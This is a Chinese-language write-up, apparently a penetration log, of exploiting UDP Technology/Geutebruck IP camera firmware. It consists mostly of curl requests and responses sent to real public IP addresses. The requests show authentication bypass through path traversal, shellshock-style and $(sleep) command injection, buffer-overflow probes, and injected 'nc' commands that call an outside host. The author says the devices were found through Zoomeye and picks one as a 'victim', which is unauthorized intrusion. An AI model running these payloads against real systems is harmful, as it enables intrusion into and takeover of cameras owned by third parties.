▶ curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1|=2&()%20%7b%20%3a%3b%7d%3b%20pwd HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 04:10:33 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 04:10:33 GMT
< Server: lighttpd/1.4.35
<
// print command : find /var/log -name "*" -type f | grep 1| | awk '{print "\"" $1 "\"$"}'
// print command : find /var/log -name "*" -type f | grep () { :;}; pwd | awk '{print "\"" $1 "\"$"}'
function logList() {
	this.logArray = [];
}

function logArray(name) {
	this.name = name;
}

var log = new logList();
log.logArray.push(new logArray("/tmp/www_ramdisk/uapi-cgi"));
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?&type=ip&ip=eth0%2024.185.116.6:82|pwd|x"
failed
▶ curl --socks5 127.0.0.1:7890 -v "http://24.185.116.6:82/uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /uapi-cgi/viewer/admin/testaction.cgi?type=ntp&server=%60sleep%205%60 HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 04:18:38 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 04:18:43 GMT
< Server: lighttpd/1.4.35
<
#204|NTP.server.state|`sleep 5`|Couldn't resolve host

* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

CVE-2021-33543 ~ CVE-2021-33554

鉴权绕过。(--path-as-is参数避免curl自动优化掉url中的../)

▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /iij/../uapi-cgi/certmngr.cgi HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 08:19:50 GMT
< Content-Length: 0
< Date: Mon, 09 Aug 2021 08:19:50 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://24.185.116.6:82/iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 24.185.116.6:82
* SOCKS5 connect to IPv4 24.185.116.6 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /iij/../uapi-cgi/certmngr.cgi?action=createselfcert&local=anything&country=AA&state=%24(sleep%205)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything HTTP/1.1
> Host: 24.185.116.6:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 08:28:21 GMT
< Content-Type: text/xml
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 08:28:29 GMT
< Server: lighttpd/1.4.35
<
<?xml version="1.0" encoding="UTF-8" ?>
<SSL>
	<result>OK</result>
	<description>Self create complete.</description>
</SSL>
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.27.12.81:82
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/testcmd.cgi?command=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
> Host: 84.27.12.81:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 10:00:32 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 10:00:32 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.27.12.81:82/jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.27.12.81:82
* SOCKS5 connect to IPv4 84.27.12.81 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/factory.cgi?preserve=%24(echo%20kkk%20|%20nc%2060.205.205.99%204444) HTTP/1.1
> Host: 84.27.12.81:82
> User-Agent: curl/7.64.1
> Accept: */*
> 
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/language.cgi?date=%24(sleep%205)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/language.cgi?date=%24(sleep%205) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 05:17:39 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 05:17:44 GMT
< Server: lighttpd/1.4.35
<
function langList() {
	this.langArray = [];
}

function langArray(name, path) {
	this.name = name;
	this.path = path;
}

var List = new langList();
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/simple_reclistjs.cgi?date=%24(sleep%205)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/simple_reclistjs.cgi?date=%24(sleep%205) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Mon, 09 Aug 2021 05:20:04 GMT
< Content-Type: application/x-javascript
< Transfer-Encoding: chunked
< Date: Mon, 09 Aug 2021 05:20:12 GMT
< Server: lighttpd/1.4.35
<
function recList() {
	this.recArray = [];
}

function recArray(name, size, used) {
	this.name = name;
	this.size = size;
	this.used = used;
}

var List = new recList();
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/oem.cgi?environment.lang=%24(sleep%2010)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/oem.cgi?environment.lang=%24(sleep%2010) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:18:09 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:18:19 GMT
< Server: lighttpd/1.4.35
<
OEM.Environment.lang=$(sleep 10)
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/tmpapp.cgi?appfile.filename=%24(sleep%2010)"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> GET /jjj/../uapi-cgi/tmpapp.cgi?appfile.filename=%24(sleep%2010) HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:22:42 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:23:03 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
#403|ERR OPERATION|appfile|failed to save : * Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v -d "action=AAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/instantrec.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/instantrec.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:41:57 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:41:59 GMT
< Server: lighttpd/1.4.35
<
ERROR|AAA|Bad option
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

▶ curl --socks5 127.0.0.1:7890 -v -d "action=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/instantrec.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/instantrec.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 607
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 607 out of 607 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:42:22 GMT
< Content-Length: 0
< Date: Tue, 10 Aug 2021 01:42:25 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v -d "profile=AAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/encprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/encprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:54:43 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:54:44 GMT
< Server: lighttpd/1.4.35
<
#403|ERR OPERATION|list|ENCODERPROFILE.AAAA|empty data list
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

▶ curl --socks5 127.0.0.1:7890 -v -d "profile=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/encprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/encprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 1212
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:55:33 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:55:35 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0
▶ curl --socks5 127.0.0.1:7890 -v -d "profile=AAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/evnprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/evnprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 12
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 12 out of 12 bytes
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:57:58 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:57:59 GMT
< Server: lighttpd/1.4.35
<
#403|ERR OPERATION|list|EVENTPROFILE.AAAA|empty data list
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

▶ curl --socks5 127.0.0.1:7890 -v -d "profile=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" --path-as-is "http://84.228.50.89:82/jjj/../uapi-cgi/evnprofile.cgi"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* SOCKS5 communication to 84.228.50.89:82
* SOCKS5 connect to IPv4 84.228.50.89 (locally resolved)
* SOCKS5 request granted.
* Connected to 127.0.0.1 (127.0.0.1) port 7890 (#0)
> POST /jjj/../uapi-cgi/evnprofile.cgi HTTP/1.1
> Host: 84.228.50.89:82
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 1212
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
>
* Done waiting for 100-continue
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Cache-Control: no-cache, max-age=0
< Pragma: no-cache
< Expires: Tue, 10 Aug 2021 01:58:16 GMT
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Date: Tue, 10 Aug 2021 01:58:17 GMT
< Server: lighttpd/1.4.35
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

首先想到的是从厂商官网下载。于是便去到 Geutebruck 官网,但苦于未能注册成功,没能获取到下载链接。遂转而求于 UDP technology 的官网(毕竟前者设备的固件实际上是后者提供的):

那么接下来的问题就变成了——我们该如何在互联网上找到满足条件的真实设备进行渗透?这里就要请出诸如 Shodan、Zoomeye、FOFA、Quake 等网络空间测绘搜索引擎了。费了一番精力后我在这里选择了 Zoomeye: 😎💦

想来应该是我的搜索姿势有误……变换了几种搜索约束也是收效甚微,到底该以什么特征搜索其它使用了 UDPt 固件的设备呢?owl 帮助我找到了一条 twitter:

由上一节的信息来搜索,我们顺利挑选了一位受害者:。先访问下看看:

- - - - -

https://vcatechnology.com/udp-technology/
https://www.zoomeye.org/
https://twitter.com/RandoriSec/status/1291723991175102466
24.xxx.xxx.x:82
CVE-2018-7532
CVE-2018-7528
CVE-2018-7524
CVE-2018-7520
CVE-2018-7516
CVE-2018-7512
UDP Technology IP Camera vulnerabilitiesRandoriSec
binwalk -E 熵图
Logo